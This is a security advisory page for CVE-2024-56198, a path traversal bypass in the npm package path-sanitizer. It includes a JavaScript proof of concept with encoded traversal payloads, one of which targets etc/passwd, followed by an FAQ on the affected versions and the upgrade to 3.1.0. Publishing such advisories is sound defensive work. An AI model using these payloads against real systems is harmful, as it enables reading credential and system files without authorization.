CVE-2024-56198

path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability

const sanitize = require("path-sanitizer")
const path = require("path")
const fs = require("fs")

// Real scenario:
function routeHandler(myPath) {
  // Lets just assume that the path was extracted from the request
  // We want to read a file in the C:\Users\user\Desktop\myApp\ directory
  // But the user should be able to access C:\Users\user\Desktop\
  // So we need to sanitize the path

  const APP_DIR = "/var/hacker"
  const sanitized = path.join(APP_DIR, sanitize(myPath))

  // Now we would usally read the file
  // But in this case we just gonna print the path
  // console.log(sanitized)
  return sanitized
}

function readFile(filePath) {
  const absolutePath = path.resolve(filePath) // Resolve to absolute path

  fs.readFile(absolutePath, "utf8", (err, data) => {
    if (err) {
      console.error(`Error reading the file: ${err.message}`)
      return
    }
    console.log(`Contents of the file ${filePath} :\n${data}`)
  })
}

input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt"
// input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd"
input_user_payload = "../../../../../../../../tmp/hacked.txt"

readFile(routeHandler(input_user_bypass))
readFile(routeHandler(input_user_payload))

Any CLI tool or library using this package can be/will be vulnerable to Path traversal.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

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1. What is CVE-2024-56198? CVE-2024-56198 is a critical-severity path traversal vulnerability in path-sanitizer (npm), affecting versions < 3.1.0. It is fixed in 3.1.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of path-sanitizer are affected by CVE-2024-56198? path-sanitizer (npm) versions < 3.1.0 is affected.
3. Is there a fix for CVE-2024-56198? Yes. CVE-2024-56198 is fixed in 3.1.0. Upgrade to this version or later.
4. Is CVE-2024-56198 exploitable, and should I be worried? Whether CVE-2024-56198 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2024-56198 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2024-56198? Upgrade path-sanitizer to 3.1.0 or later.